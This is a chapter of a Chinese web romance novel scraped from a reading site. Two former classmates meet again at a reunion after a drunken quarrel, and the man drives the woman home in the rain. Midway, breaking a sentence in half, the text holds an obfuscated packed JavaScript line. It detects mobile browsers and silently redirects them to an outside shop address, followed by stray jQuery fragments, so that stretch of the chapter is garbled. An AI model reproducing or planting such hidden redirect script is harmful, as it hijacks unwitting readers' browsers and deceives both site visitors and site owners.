文趣网 > 其他小说 > 你都如何回忆我 > 6. flashback
    今年春雷极其泛滥,整夜断续向大地袭来的震动与光亮让季星无法入眠。

    浅眠的症状已经持续好几年了,本来以为形成习惯,可还是成为了现下亟待解决的困扰。

    镜子里,浓黑的发因为洗脸沾了水而软软贴在额角,衬得那颗褐色痣更是突兀显眼。

    随手从洗手台上拿了根皮筋扎了丸子头,趿拉着拖鞋走到衣帽间。

    展示柜上黑金色的邀请函半开着,还没来得及看。

    季星伸手去拿,却从下面滑落一张硬糖纸,窗外有光泄入,折射着小块彩虹印在深色地板上。

    季星动作滞住,糖纸被遗忘了一周,就这样随意压在这里。

    那晚,她在飘窗坐到半夜,糖纸一遍遍在她的手心和垃圾桶内辗转反复。

    “有病。”,季星拧着眉自我腹诽,手上动作却没停。

    烦乱时往窗外一瞥,兰花树下,车没走。

    他没走?

    季星蹙了眉,坐起身,突然一股无名火,有种隔了很多年又烧起来的庞大蓄势感。

    拿起手机就要质问,才发现他们不是好友,上一次对话还停留在群聊里那句礼貌的客套话。

    恼火上头的时候一切行为都不受理智控制,一气点开那个夕阳时刻的飞机窗头像,点击添加好友。

    连备注也没有输入,就发了出去,像是视死如归又像一无所谓。

    以为要等上一会儿,垂手的瞬间就响起通过的铃声。

    rivers:「很晚了。」

    该去睡了。

    gissingnow:「我不是老年人。」

    用不着。

    rivers:「为什么不睡。」

    无声的针锋相对,消息也来得极快。

    季星托着香槟杯的手愣在半空,片刻抬手仰头,晶莹液体顺着喉结的滚动全数咽下。

    做惯了干部就留下些爱管人的陋习,叫人厌烦。

    夜色让酒精的效果发挥到极致,以往的小菜此刻也轻而易举成为点燃导火索的火舌。

    泄愤般敲着屏幕——

    gissingnow:「那你又为什么不走?」

    gissingnow:「图片」

    玉兰花白,树下黑色车身锃亮,灯柱直直照着前方未知的黑色领域,想不注意都难。

    视线在聊天框和楼下商务车之间巡睃,季星早没了耐性,一个语音电话直接打了过去。

    “江禾,你现在像狗皮膏药,有意思没。”

    劈头盖脸就没好口气,一杯又一杯香槟下肚,度数再不高,也能在量上取胜。

    电话那头呼吸平稳,却始终没有说话。

    季星自顾自嗤笑一声,“我是得罪你了?就算是,你一个男人,能不能洒脱点,”视线有一瞬重影模糊,抬手一掠,又道:“高风亮节的形象还是好好立住,江总。”

    汽车内几乎立时就落了冷笑,江禾换了只手拿手机,屏幕一明一灭,本还算柔润的眼里尽掺冷雨雾。

    几不可察的顶腮,隐下濒临边缘的情绪,道:“季星,我从不洒脱,你怕是记错了人。”

    “还有,高风亮节?看来你对我认知有误。”

    吃了瘪,季星气笑,扶着墙边站起来,手里的假面熊玩偶被不留情面的砸到了墙上。

    “好啊,有什么仇你就记着吧!你有本事就记一辈子!”

    酒精果然误事,已经一周,幸而江禾一点动静也没有,可越是安静,季星越不安。

    毕竟,江禾可算不上善茬。

    四月的天时晴时阴,附中周边早已天翻地覆,季星无事,早早到了,正要寻处小店打发时间,抬眼就看到熟悉的红底鞋小黑裙。

    看到季星,斯旎笑逐颜开。

    “猜到你还是会来,喏,这个拿着。”

    熟悉的黄色笑脸醒酒糖,效果一般,季星伸手接过,掂了掂,分量和效果成正比。

    其实,她酒量还可以。

    “怎么,怕我喝多?”季星皱皱鼻子故意作怪,寡淡的妆面已算是对这聚会最高的重视,随手将糖塞进包里。

    “听说你们一起吃饭了?”斯旎不打官腔,伸手指了指菜单上的热柚子茶,比了个“二”的手势,看向柜台后的小姑娘。

    靠窗的位置阳光偏爱,季星随心所欲掠过来往人流,抱臂点头。

    家里长辈攒局,意味着谁也躲不掉。

    “你们,”斯旎带着点试探观察的意思觑向季星的眼睛,斟酌道:“聊点在外面的见闻没?”

    江禾在国外九年,话题素材信手拈来,但凡有心终不会冷场。

    柚子茶端上来,还冒着热气,蒸腾起来覆在眼镜片上,有那么片刻看不清窗外人。

    季星没度数,只是戴着点缀,干脆捏着镜架摘下。

    “没聊,不想听。”

    那点气一直到这会儿还觉得心里不爽利,瞥了眼时间,也差不多可以进去了,这个话题是一点也聊不下去了,柚子茶热气散得快,季星端起一口气全喝了,嘴唇也霎时润了。

    “进去吧,一会儿晚了不好。”她无声催促,斯旎知道这是在婉拒话题,便也收起心思。

    -

    “好久不见!”

    “现在可是高精尖人才了,赶紧让我们膜拜膜拜!”

    蔡希宁是班长,自然来得早,一群人笑得开怀的凑上来,她便也笑笑算回应。

    间隙里时不时往门外望,季星进来才算放下心里石头。

    斯旎和希宁递了眼神,“给你们留好了位置,快去坐,我一会儿就过来。”

    她们一贯担心着自己,季星实在太清楚,可有时候接受别人的担心也是友情交际中的一项必备技能。

    那眼神传递她便干脆当没看到,一路过去没和谁说话,倒是搭话的不少。

    “星星,这日子不来点红酒?”班里的万事通拎着酒瓶凑上来。

    季星挪了点位置,想摇头拒绝,门童拉开门。

    无论多久,多少次,这人总能第一眼抓住人眼珠子。

    人甫一进来,那惹人厌烦的声就起来了。

    前赴后继,生怕慢了一步,自己的人生就落后万步了。

    手扶杯座,往前一推,看着周轩,掷地一声:“倒。”

    得了肯定回答,周轩乐得眼睛都眯了,手上动作是一点没慢。

    应付回答间,江禾进门就看到那抹浅褐色,懒懒坐在椅子上,酒杯里汩汩而入的红酒。

    推杯换盏,倒真像酒吧的空杯玩家。

    “这有人。”酒虽喝着,一点也不影响季星拦住江禾要坐下的动作。

    椅背上指骨有力,青色血管微微凸起,如竹如流。

    似乎只有在这种时候,她才不会躲着他。

    季星毫不躲避他的眼神,先前懒散此刻正襟危坐,肩头的针织披肩半滑落,缀着薄透的麻料衬衫。

    眼里一黯,松了手,顺势撩上她的披肩。

    却是忘了气头上的猫摸不得,一瞬就炸毛。

    触到的瞬间带起肩膀的小幅度抖动,江禾不是没感受到,唇尾抹平,无声冷嘲,擦身的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608730|205837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    瞬间还是说:“少喝酒。”

    “你管我。”

    看不起谁。

    而且真追溯起来,她的好酒量还是拜他所赐。

    时隔14年,除了后来还有联系的,其他只剩下了礼貌的客套。

    回忆总是最好的催/泪/弹,酒至半酣许多人没了禁制,约起下一场。

    季星侧眸看着,几秒后瞳孔失焦,也没收回目光,就这样任由自己肆意凝滞在那处。

    长久的睁眼失焦,泪腺受了刺激,左眼角滑下眼泪。

    她很快仰头闭眼,掌心覆住眼睛,一片黑暗,一片湿润。

    “怎么了?”蔡希宁伸手拉她,看到泪痕,停住了动作,抽出纸,“你怎么哭了?”

    如果知道是这个局面,那天绝口也不提聚会的事情。

    季星看出她的愧疚,单眼闭着咧嘴笑,伸手摸摸她脸颊。

    “没有,我只是刚才看着灯发呆太久,忘了时间,刺激了一下。”

    太刺眼的光芒,让人追逐,却也需要适时躲避。

    像是商量好了,白天总是万里晴空,雷电都在晚上出没。

    雷声一阵接一阵,黑幕如撕裂一瞬,又闭合。

    续摊的续摊,走的走,约着下一次见面,谁也不知道下一次是哪一次,又或许不会再有下一次。

    斯旎虚虚扶着季星,她倔强,是不愿意承认自己喝酒上头的,即便眼瞳都有些许涣散。

    “cici,你回吧,我吹会儿风。”她强撑,雨丝飘斜,沾在发丝,剐蹭在脸颊凉凉的。

    斯旎不放心她,就没打算听她的,作势要拉她上车。

    落雨天阴湿湿的,还吹风,这不是喝迷糊了是什么,斯旎腹诽,头顶陡然被黑色伞面遮去大半等候区的光亮。

    江禾隔着距离,握着伞柄的指缘干净圆润,黑色手绳闪烁银光,若隐若现。

    “我想和她说说话,我来送她吧。”

    斯旎不喜欢直视江禾的眼睛,以前觉得凉薄,可刚才那句征求意味的话从他嘴里说出来太破天荒。

    斯旎哑口无言,那双眼里的簌簌冰雪好像在融化。

    “……你问她,我做不了决定。”

    斯旎嘴里话硬,但还是很有分寸的留出说话的空间。

    雨更肆虐了,风也愈加大起来了,吹鼓外套也不罢休。

    雨水早迷了眼,光和雨错杂的让人晃神,忍不住眯了眯眼,季星也懒得擦,手插在口袋尽量留存最后的温度。

    脸颊因为酒精而氤氲着红,却浅淡,和今天这身素净打扮倒是相得益彰。

    “斯旎,你先走吧,风大,你怕冷,不要在外面待太久。”她眨眨眼睛,压迫于睫的雨点子散去不少,视线清明起来。

    季星也不寡断,扣好外套沉默着上了车。

    斯旎明白了她的意思,想了想从包里拿出一片热敷眼罩在视线盲区里迅速塞进江禾手里。

    压了点声,道:“一会儿让星星敷上这个,她眼睛淋了雨,刚又被强光照射,我怕她眼压高了。”

    车里,空调柔和,座椅上的软靠催人放松戒备。

    季星早觉得疲惫,这时候她也顾不上针锋相对了,舒服靠着,看了会儿窗外,雨滴从左下角被风强行带到了右上角,雨痕细细长长,密密匝匝。

    “江禾,”她忽的开口,认认真真叫了这个名字。

    “我不喜欢青苹果味。”

    没头没尾的冒出一句,江禾怔了一下,侧眸看她。

    “我喜欢柠檬味。”

    “越酸越喜欢。”